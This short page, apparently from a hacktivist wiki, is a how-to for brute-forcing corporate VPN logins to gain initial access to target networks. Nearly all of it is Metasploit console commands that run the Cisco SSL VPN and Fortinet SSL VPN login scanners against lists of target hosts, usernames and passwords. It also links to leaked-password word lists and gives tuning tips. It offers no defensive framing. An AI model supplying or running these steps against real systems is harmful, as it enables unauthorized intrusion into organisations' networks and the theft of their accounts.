VPN brute forcing

Brute force common corporate VPNs to gain initial access to target networks. Install metasploit and then see Initial access TTPs for mass port scanning. For this to work properly using a large username and password file will cause the module to stall for a very long time. To fix this issue use smaller user and password files.

Word lists:

• https://enlacehacktivista.org/index.php/Initial_Access_Tactics,_techniques_and_procedures#Common_and_leaked_passwords

CISCO

sudo systemctl start postgresql
msfdb init

msfconsole
use auxiliary/scanner/http/cisco_ssl_vpn
set RHOSTS file:/home/targets_443.txt
set RPORT 443
set USER_FILE /home/users.txt
set PASS_FILE /home/pass.txt
set threads 10
run

FORTI SSL VPN

sudo systemctl start postgresql
msfdb init

msfconsole
use auxiliary/scanner/http/fortinet_ssl_vpn
set RHOSTS file:/home/targets_10443.txt
set RPORT 10443
set USER_FILE /home/users.txt
set PASS_FILE /home/pass.txt
set threads 10
run